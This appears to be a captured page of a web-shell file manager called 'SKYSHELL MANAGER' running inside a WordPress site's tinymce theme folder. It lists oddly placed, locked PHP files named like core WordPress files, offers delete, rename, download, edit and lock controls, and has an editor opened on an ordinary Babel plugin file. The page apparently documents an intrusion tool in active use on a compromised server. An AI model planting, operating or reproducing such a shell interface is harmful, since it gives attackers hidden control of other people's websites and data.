📁
SKYSHELL MANAGER
PHP v8.3.6
Create
Create
Path:
root
/
var
/
www
/
cstage
/
wp-includes
/
js
/
tinymce
/
themes
/
Name
Size
Perm
Actions
📁
inlite
-
0755
🗑️
🏷️
🔒
📁
modern
-
0755
🗑️
🏷️
🔒
📄
ms-files.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: index.js
"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.default = void 0; var _helperPluginUtils = require("@babel/helper-plugin-utils"); var _core = require("@babel/core"); var _default = (0, _helperPluginUtils.declare)(api => { api.assertVersion(7); function isProtoKey(node) { return !_core.types.isSpreadElement(node) && _core.types.isStringLiteral(_core.types.toComputedKey(node, node.key), { value: "__proto__" }); } function isProtoAssignmentExpression(node) { const left = node; return _core.types.isMemberExpression(left) && _core.types.isStringLiteral(_core.types.toComputedKey(left, left.property), { value: "__proto__" }); } function buildDefaultsCallExpression(expr, ref, file) { return _core.types.expressionStatement(_core.types.callExpression(file.addHelper("defaults"), [ref, expr.right])); } return { name: "transform-proto-to-assign", visitor: { AssignmentExpression(path, { file }) { if (!isProtoAssignmentExpression(path.node.left)) return; const nodes = []; const left = path.node.left.object; const temp = path.scope.maybeGenerateMemoised(left); if (temp) { nodes.push(_core.types.expressionStatement(_core.types.assignmentExpression("=", temp, left))); } nodes.push(buildDefaultsCallExpression(path.node, _core.types.cloneNode(temp || left), file)); if (temp) nodes.push(_core.types.cloneNode(temp)); path.replaceWithMultiple(nodes); }, ExpressionStatement(path, { file }) { const expr = path.node.expression; if (!_core.types.isAssignmentExpression(expr, { operator: "=" })) return; if (isProtoAssignmentExpression(expr.left)) { path.replaceWith(buildDefaultsCallExpression(expr, expr.left.object, file)); } }, ObjectExpression(path, { file }) { let proto; const { node } = path; const { properties } = node; for (let i = 0; i < properties.length; i++) { const prop = properties[i]; if (isProtoKey(prop)) { proto = prop.value; properties.splice(i, 1); break; } } if (proto) { const args = [_core.types.objectExpression([]), proto]; if (node.properties.length) args.push(node); path.replaceWith(_core.types.callExpression(file.addHelper("extends"), args)); } } } }; }); exports.default = _default; //# sourceMappingURL=index.js.map
Save